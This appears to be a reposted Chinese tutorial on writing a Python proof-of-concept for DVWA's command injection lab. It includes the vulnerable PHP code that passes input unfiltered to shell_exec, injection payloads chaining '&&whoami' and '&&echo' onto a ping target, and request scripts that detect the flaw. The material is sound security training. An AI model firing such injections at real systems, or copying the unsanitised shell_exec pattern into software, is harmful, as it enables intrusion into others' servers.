百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

「黑客编程」手把手教你编写POC

moboyou 2025-07-03 00:21 4 浏览

1 概述

1.1 什么是POC?

POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

1.2 实验环境

  • PyCharm
  • Python 3.8.0
  • lxml 4.8.0
  • requests 2.27.1
  • mihun 1.0
  • DVWA 1.10

1.3 安装环境

pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App) 是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。mihun渗透靶场 已经集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: admin
password: password
登入DVWA系统,将 DVWA Security 修改为low,本次使用 Command Injection(命令注入) 模块作为此次POC验证漏洞点

2.2 如何触发漏洞?

Command Injection(命令注入) 模块用于验证网络是否通畅,由于对输入的参数检查不严格导致任意命令执行

ping sechelper.cn && whoami

2.3 源码分析

Command Injection 模块源码

<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>

分析上面源码发现ip参数未过滤被带入命令执行函数shell_exec,利用linux/win命令特性拼接参数 sechelper.cn&&whoami

伪代码如下:

shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3 编写验证程序

使用PyCharm 创建一个python项目

3.1 分析http数据包

使用火狐浏览器按 F12 开启Firebug开发者模式,选择网络 重新触发漏洞观察http请求

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http请求包如下:

POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1


ip=192.168.17.5&Submit=Submit


3.2 构建初版代码

漏洞的信息已经知道的差不多,开始编写代码

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("状态: {}".format(response.status_code))
print("302跳转地址:{}".format(response.next.url))


执行上面代码返回状态 302,不应该是200 吗?为什么返回 302 ?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/ 有授权验证,未授权会跳转到登入界面

3.3 请求授权接口

怎么才能授权呢?

这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit":    "Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果:{}".format(response.text))


从结果内看出代码已经可以访问并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代码快速识别出漏洞是否存在呢?

3.4 快速验证漏洞两种方法

特征方式匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义 的字符则表示漏洞存在

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)


if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
else:
    print("[x] {} is safe".format(url))
print("Detection completed...")


关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)


if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')


    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
print("Detection completed...")

4 结束语

渗透过程中自己写脚本可以更方便快捷的做一些事情,渗透测试很难全程自动化,写一些小工具可以显著提高渗透效率,想要做一个合格白帽子会一门语言是很有必要的。关注至察助安微信公众号,专注网络安全优质知识分享,无优质,不分享。

相关推荐

黄道十二宫杀手密码51年后被破解,来自两位程序员和数学家合作

杨净边策发自凹非寺量子位报道|公众号QbitAI黄道十二宫杀手(ZodiacKiller)可能是世界上最知名的高智商连环杀手,52年来从未被抓获。他的事迹已被改编成了多部好莱坞电影。△...

深入剖析MediaCodec解码器的基本原理及使用「建议新手收藏」

一,MediaCodec工作原理MediaCodec类Android提供的用于访问低层多媒体编/解码器接口,它是Android低层多媒体架构的一部分,通常与MediaExtractor、MediaMu...

Retrofit WebService 实践

前言作为Android开发,平时和后端聊得最多的除了喝酒就是接口。常用语:Restful和WebService,前者现在聊得多,后者以前聊得多。默认含义分别为:Restful:HTTP协议...

建议收藏!175部4K UHD版本经典高分电影洗版参考目录(2015之前)

本内容来源于@什么值得买APP,观点仅代表作者本人|作者:1L789近两年很多经典高分老电影陆续开始重制成4KUHD版本,虽然我早已将这些电影的BD蓝光版收入,但纠结一番后还是花了不少时间将其全部...

2 个月的面试亲身经历告诉大家,如何进入 BAT 等大厂?

这篇文章主要是从项目来讲的,所以,从以下几个方面展开。怎么介绍项目?怎么介绍项目难点与亮点?你负责的模块?怎么让面试官满意?怎么介绍项目?我在刚刚开始面试的时候,也遇到了这个问题,也是我第一个思考的问...

详解Android官推Kotlin-First的图片加载库

前言Coil是一个非常年轻的图片加载库,在2020年10月22日才发布了1.0.0版本,但却受到了Android官方的推广,在AndroidDevelopersBackst...

webview 渲染机制:硬件加速方式渲染的Android Web

webview渲染是什么?webview渲染是用于展现web页面的控件;webview可以内嵌在移动端,实现前端的混合式开发,大多数混合式开发框架都是基于webview模式进行二次开发的w...

因为我对Handler的了解,居然直接给我加了5K

1Handler是什么?android提供的线程切换工具类。主要的作用是通过handler实现从子线程切换回主线程进行ui刷新操作。1.1为什么Handler能实现线程切换?在创建Handler的...

「经典总结」一个View,从无到有会走的三个流程,你知道吗?

前言一个View,从无到有会走三个流程,也就是老生常谈的measure,layout,draw三流程我们都知道Android视图是由一层一层构成的层级结构,直白点说,就是父View包含子View而子V...

这些垃圾代码是谁写的?哦,原来小丑竟是我自己

程序员是最喜欢自嘲、自黑的群体之一,比如他们常常称自己是“码农”、“程序猿”,再比如他们的工作明明是写代码、修Bug,也有人调侃说:“明明我们是修代码、写Bug!”本文整理了一些程序员“修代码、写...

手把手教你爬取天堂网1920*1080大图片(批量下载)——理论篇

/1前言/平时我们要下载图片,要要一个一个点击下载是不是觉得很麻烦?那有没有更加简便的方法呢?答案是肯定的,这里我们以天堂网为例,批量下载天堂网的图片。/2项目准备工作/首先我们第一步我们要安装...

音视频开发需要你懂得 ffmpeg 开源库的编码原理

引言音视频开发需要你懂得音视频中一些基本概念,针对编解码而言,我们必须提前懂得编解码器的一些特性,码流的结构,码流中一些重要信息如sps,pps,vps,startcode以及基本的工作原理,...

「8年老 Android 开发」最全最新 Android 面试题系列全家桶(带答案)

下面跟大家分享的这些面试题都是互联网大厂真实流出的面试内容,每个问题都附带完整详细的答案,不像网上的那些资料三教九流有的甚至还没答案,这些面试题我也是经过日积月累才整理出来的精品资料。这些面试题主要是...

手把手教你爬取天堂网1920*1080大图片(批量下载)——实战篇

/1前言/上篇文章手把手教你爬取天堂网1920*1080大图片(批量下载)——理论篇我们谈及了天堂网站图片抓取的理论,这篇文章将针对上篇文章的未尽事宜进行完善,完成图片的批量抓取。/2图片网址解...

PHP 8.1.9 更新发布

CLI:修复了内置服务器通过PHP_CLI_server_WORKERS环境变量的潜在溢出。修正了GH-8952(不再可能有意关闭std句柄)。Core:修复了GH-8923的错误(Windows上的...